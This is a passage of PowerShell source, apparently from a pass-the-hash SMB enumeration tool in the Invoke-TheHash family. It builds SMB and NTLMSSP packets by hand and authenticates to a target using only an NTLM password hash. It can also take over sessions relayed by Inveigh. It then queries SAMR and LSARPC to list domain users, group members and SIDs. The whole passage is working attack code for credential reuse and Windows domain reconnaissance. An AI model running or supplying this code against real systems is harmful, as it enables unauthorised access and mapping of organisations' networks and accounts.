negotiation failed" + $negoitiation_failed = $true + $stage = 'Exit' + } + + } + + } + + 'NegotiateSMB2' + { + + if($SMB_version -eq 'SMB2.1') + { + $message_ID = 0 + } + else + { + $message_ID = 1 + } + + $tree_ID = 0x00,0x00,0x00,0x00 + $session_ID = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + $packet_SMB_header = New-PacketSMB2Header 0x00,0x00 0x00,0x00 $false $message_ID $process_ID $tree_ID $session_ID + $packet_SMB_data = New-PacketSMB2NegotiateProtocolRequest + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + $stage = 'NTLMSSPNegotiate' + + if([System.BitConverter]::ToString($client_receive[70]) -eq '03') + { + + if($signing_check) + { + Write-Output "[+] SMB signing is required on $target" + $stage = 'Exit' + } + else + { + + if($signing_check) + { + Write-Verbose "[+] SMB signing is required" + } + + $SMB_signing = $true + $session_key_length = 0x00,0x00 + $negotiate_flags = 0x15,0x82,0x08,0xa0 + } + + } + else + { + + if($signing_check) + { + Write-Output "[+] SMB signing is not required on $target" + $stage = 'Exit' + } + else + { + $SMB_signing = $false + $session_key_length = 0x00,0x00 + $negotiate_flags = 0x05,0x80,0x08,0xa0 + } + + } + + } + + 'NTLMSSPNegotiate' + { + + if($SMB_version -eq 'SMB1') + { + $packet_SMB_header = New-PacketSMBHeader 0x73 0x18 0x07,0xc8 0xff,0xff $process_ID 0x00,0x00 + + if($SMB_signing) + { + $packet_SMB_header["Flags2"] = 0x05,0x48 + } + + $packet_NTLMSSP_negotiate = New-PacketNTLMSSPNegotiate $negotiate_flags + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate + $packet_SMB_data = New-PacketSMBSessionSetupAndXRequest $NTLMSSP_negotiate + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + } + else + { + $message_ID++ + $packet_SMB_header = New-PacketSMB2Header 0x01,0x00 0x1f,0x00 $false $message_ID $process_ID $tree_ID $session_ID + $packet_NTLMSSP_negotiate = New-PacketNTLMSSPNegotiate $negotiate_flags 0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate + $packet_SMB_data = New-PacketSMB2SessionSetupRequest $NTLMSSP_negotiate + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + } + + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + $stage = 'Exit' + } + + } + + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + $negoitiation_failed = $true + $stage = 'Exit' + } + + } + + if(!$signing_check -and !$negoitiation_failed) + { + $NTLMSSP = [System.BitConverter]::ToString($client_receive) + $NTLMSSP = $NTLMSSP -replace "-","" + $NTLMSSP_index = $NTLMSSP.IndexOf("4E544C4D53535000") + $NTLMSSP_bytes_index = $NTLMSSP_index / 2 + $domain_length = Get-UInt16DataLength ($NTLMSSP_bytes_index + 12) $client_receive + $target_length = Get-UInt16DataLength ($NTLMSSP_bytes_index + 40) $client_receive + $session_ID = $client_receive[44..51] + $NTLM_challenge = $client_receive[($NTLMSSP_bytes_index + 24)..($NTLMSSP_bytes_index + 31)] + $target_details = $client_receive[($NTLMSSP_bytes_index + 56 + $domain_length)..($NTLMSSP_bytes_index + 55 + $domain_length + $target_length)] + $target_time_bytes = $target_details[($target_details.Length - 12)..($target_details.Length - 5)] + $NTLM_hash_bytes = (&{for ($i = 0;$i -lt $hash.Length;$i += 2){$hash.SubString($i,2)}}) -join "-" + $NTLM_hash_bytes = $NTLM_hash_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $auth_hostname = (Get-ChildItem -path env:computername).Value + $auth_hostname_bytes = [System.Text.Encoding]::Unicode.GetBytes($auth_hostname) + $auth_domain_bytes = [System.Text.Encoding]::Unicode.GetBytes($Domain) + $auth_username_bytes = [System.Text.Encoding]::Unicode.GetBytes($username) + $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length)[0,1] + $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length)[0,1] + $auth_username_length = [System.BitConverter]::GetBytes($auth_username_bytes.Length)[0,1] + $auth_hostname_length = [System.BitConverter]::GetBytes($auth_hostname_bytes.Length)[0,1] + $auth_domain_offset = 0x40,0x00,0x00,0x00 + $auth_username_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + 64) + $auth_hostname_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + 64) + $auth_LM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 64) + $auth_NTLM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 88) + $HMAC_MD5 = New-Object System.Security.Cryptography.HMACMD5 + $HMAC_MD5.key = $NTLM_hash_bytes + $username_and_target = $username.ToUpper() + $username_and_target_bytes = [System.Text.Encoding]::Unicode.GetBytes($username_and_target) + $username_and_target_bytes += $auth_domain_bytes + $NTLMv2_hash = $HMAC_MD5.ComputeHash($username_and_target_bytes) + $client_challenge = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $client_challenge_bytes = $client_challenge.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + + $security_blob_bytes = 0x01,0x01,0x00,0x00, + 0x00,0x00,0x00,0x00 + + $target_time_bytes + + $client_challenge_bytes + + 0x00,0x00,0x00,0x00 + + $target_details + + 0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00 + + $server_challenge_and_security_blob_bytes = $NTLM_challenge + $security_blob_bytes + $HMAC_MD5.key = $NTLMv2_hash + $NTLMv2_response = $HMAC_MD5.ComputeHash($server_challenge_and_security_blob_bytes) + + if($SMB_signing) + { + $session_base_key = $HMAC_MD5.ComputeHash($NTLMv2_response) + $session_key = $session_base_key + $HMAC_SHA256 = New-Object System.Security.Cryptography.HMACSHA256 + $HMAC_SHA256.key = $session_key + } + + $NTLMv2_response = $NTLMv2_response + $security_blob_bytes + $NTLMv2_response_length = [System.BitConverter]::GetBytes($NTLMv2_response.Length)[0,1] + $session_key_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + $NTLMv2_response.Length + 88) + + $NTLMSSP_response = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00, + 0x03,0x00,0x00,0x00, + 0x18,0x00, + 0x18,0x00 + + $auth_LM_offset + + $NTLMv2_response_length + + $NTLMv2_response_length + + $auth_NTLM_offset + + $auth_domain_length + + $auth_domain_length + + $auth_domain_offset + + $auth_username_length + + $auth_username_length + + $auth_username_offset + + $auth_hostname_length + + $auth_hostname_length + + $auth_hostname_offset + + $session_key_length + + $session_key_length + + $session_key_offset + + $negotiate_flags + + $auth_domain_bytes + + $auth_username_bytes + + $auth_hostname_bytes + + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + + $NTLMv2_response + + if($SMB_version -eq 'SMB1') + { + $SMB_user_ID = $client_receive[32,33] + $packet_SMB_header = New-PacketSMBHeader 0x73 0x18 0x07,0xc8 0xff,0xff $process_ID $SMB_user_ID + + if($SMB_signing) + { + $packet_SMB_header["Flags2"] = 0x05,0x48 + } + + $packet_SMB_header["UserID"] = $SMB_user_ID + $packet_NTLMSSP_negotiate = New-PacketNTLMSSPAuth $NTLMSSP_response + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate + $packet_SMB_data = New-PacketSMBSessionSetupAndXRequest $NTLMSSP_negotiate + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + } + else + { + $message_ID++ + $packet_SMB_header = New-PacketSMB2Header 0x01,0x00 0x01,0x00 $false $message_ID $process_ID $tree_ID $session_ID + $packet_NTLMSSP_auth = New-PacketNTLMSSPAuth $NTLMSSP_response + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $NTLMSSP_auth = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_auth + $packet_SMB_data = New-PacketSMB2SessionSetupRequest $NTLMSSP_auth + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + } + + try + { + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + + if($SMB_version -eq 'SMB1') + { + + if([System.BitConverter]::ToString($client_receive[9..12]) -eq '00-00-00-00') + { + Write-Verbose "[+] $output_username successfully authenticated on $Target" + Write-Output "[-] SMB1 is only supported with signing check and authentication" + $login_successful = $false + } + else + { + Write-Output "[!] $output_username failed to authenticate on $Target" + $login_successful = $false + } + + } + else + { + if([System.BitConverter]::ToString($client_receive[12..15]) -eq '00-00-00-00') + { + Write-Verbose "[+] $output_username successfully authenticated on $Target" + $login_successful = $true + } + else + { + Write-Output "[!] $output_username failed to authenticate on $Target" + $login_successful = $false + } + + } + + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + $login_successful = $false + } + + } + + } + + if($login_successful -or $inveigh_session) + { + + if($inveigh_session) + { + + if($inveigh_session -and $inveigh.session_lock_table[$session] -eq 'locked') + { + Write-Output "[*] Pausing due to Inveigh Relay session lock" + Start-Sleep -s 2 + } + + $inveigh.session_lock_table[$session] = 'locked' + $client = $inveigh.session_socket_table[$session] + $client_stream = $client.GetStream() + $session_ID = $inveigh.session_table[$session] + $message_ID = $inveigh.session_message_ID_table[$session] + $tree_ID = 0x00,0x00,0x00,0x00 + $SMB_signing = $false + } + + if($Action -eq 'All') + { + $action_stage = 'group' + } + else + { + $action_stage = $Action + } + + $path = "\\" + $Target + "\IPC$" + $path_bytes = [System.Text.Encoding]::Unicode.GetBytes($path) + $j = 0 + $stage = 'TreeConnect' + + while ($stage -ne 'Exit') + { + + try + { + + switch ($stage) + { + + 'CloseRequest' + { + $message_ID++ + $stage_current = $stage + $packet_SMB_header = New-PacketSMB2Header 0x06,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SMB_data = New-PacketSMB2CloseRequest $file_ID + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $SMB_header + $SMB_data + $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..15] + $packet_SMB_header["Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $stage = 'SendReceive' + } + + 'Connect2' + { + $message_ID++ + $stage_current = $stage + $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SAMR_data = New-PacketSAMRConnect2 $Target + $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data + $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280 + $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x06,0x00,0x00,0x00 0x00,0x00 0x39,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SAMR_data + $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..15] + $packet_SMB_header["Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data + $stage = 'SendReceive' + } + + 'Connect5' + { + $message_ID++ + $stage_current = $stage + $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SAMR_data = New-PacketSAMRConnect5 $Target + $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data + $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280 + $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x06,0x00,0x00,0x00 0x00,0x00 0x40,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SAMR_data + $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..15] + $packet_SMB_header["Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data + $stage = 'SendReceive' + } + + 'CreateRequest' + { + $message_ID++ + $stage_current = $stage + $packet_SMB_header = New-PacketSMB2Header 0x05,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SMB_data = New-PacketSMB2CreateRequestFile $named_pipe + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $SMB_header + $SMB_data + $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..15] + $packet_SMB_header["Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + + try + { + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + + if(Get-StatusPending $client_receive[12..15]) + { + $stage = 'StatusPending' + } + else + { + $stage = 'StatusReceived' + } + + } + catch + { + Write-Output "[-] Session connection is closed" + $stage = 'Exit' + } + + } + + 'EnumDomainUsers' + { + $message_ID++ + $stage_current = $stage + $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SAMR_data = New-PacketSAMREnumDomainUsers $SAMR_domain_handle + $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x08,0x00,0x00,0x00 0x00,0x00 0x0d,0x00 + $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SAMR_data + $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..15] + $packet_SMB_header["Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data + $stage = 'SendReceive' + } + + 'GetMembersInAlias' + { + $message_ID++ + $stage_current = $stage + $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SAMR_data = New-PacketSAMRGetMembersInAlias $SAMR_policy_handle + $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x0d,0x00,0x00,0x00 0x00,0x00 0x21,0x00 + $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SAMR_data + $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..15] + $packet_SMB_header["Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data + $stage = 'SendReceive' + } + + 'Logoff' + { + $message_ID++ + $stage_current = $stage + $packet_SMB_header = New-PacketSMB2Header 0x02,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SMB_data = New-PacketSMB2SessionLogoffRequest + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $SMB_header + $SMB_data + $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..15] + $packet_SMB_header["Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $stage = 'SendReceive' + } + + 'LookupNames' + { + $message_ID++ + $stage_current = $stage + $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SAMR_data = New-PacketSAMRLookupNames $SAMR_domain_handle $Group + $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x08,0x00,0x00,0x00 0x00,0x00 0x11,0x00 + $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SAMR_data + $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..15] + $packet_SMB_header["Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data + $stage = 'SendReceive' + } + + 'LookupRids' + { + $message_ID++ + $stage_current = $stage + $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SAMR_data = New-PacketSAMRLookupRids $SAMR_domain_handle $RID_count_bytes $RID_list + $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x0b,0x00,0x00,0x00 0x00,0x00 0x12,0x00 + $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SAMR_data + $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..15] + $packet_SMB_header["Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data + $stage = 'SendReceive' + } + + 'LSAClose' + { + $message_ID++ + $stage_current = $stage + $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_LSARPC_data = New-PacketLSAClose $policy_handle + $LSARPC_data = ConvertFrom-PacketOrderedDictionary $packet_LSARPC_data + $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $LSARPC_data.Length 4280 + $packet_RPC_data = New-PacketRPCRequest 0x03 $LSARPC_data.Length 0 0 0x04,0x00,0x00,0x00 0x00,0x00 0x00,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $LSARPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $LSARPC_data + $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..15] + $packet_SMB_header["Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $LSARPC_data + $step++ + $stage = 'SendReceive' + } + + 'LSALookupSids' + { + $message_ID++ + $stage_current = $stage + $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_LSARPC_data = New-PacketLSALookupSids $policy_handle $SID_array + $LSARPC_data = ConvertFrom-PacketOrderedDictionary $packet_LSARPC_data + $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $LSARPC_data.Length 4280 + $packet_RPC_data = New-PacketRPCRequest 0x03 $LSARPC_data.Length 0 0 0x10,0x00,0x00,0x00 0x00,0x00 0x0f,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $LSARPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $LSARPC_data + $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..15] + $packet_SMB_header["Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $LSARPC_data + $stage = 'SendReceive' + } + + 'LSAOpenPolicy' + { + $message_ID++ + $stage_current = $stage + $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_LSARPC_data = New-PacketLSAOpenPolicy + $LSARPC_data = ConvertFrom-PacketOrderedDictionary $packet_LSARPC_data + $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $LSARPC_data.Length 4280 + $packet_RPC_data = New-PacketRPCRequest 0x03 $LSARPC_data.Length 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x06,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $LSARPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $LSARPC_data + $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..15] + $packet_SMB_header["Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $LSARPC_data + $stage = 'SendReceive' + } + + 'LSAQueryInfoPolicy' + { + $message_ID++ + $stage_current = $stage + $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_LSARPC_data = New-PacketLSAQueryInfoPolicy $policy_handle + $LSARPC_data = ConvertFrom-PacketOrderedDictionary $packet_LSARPC_data + $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $LSARPC_data.Length 4280 + $packet_RPC_data = New-PacketRPCRequest 0x03 $LSARPC_data.Length 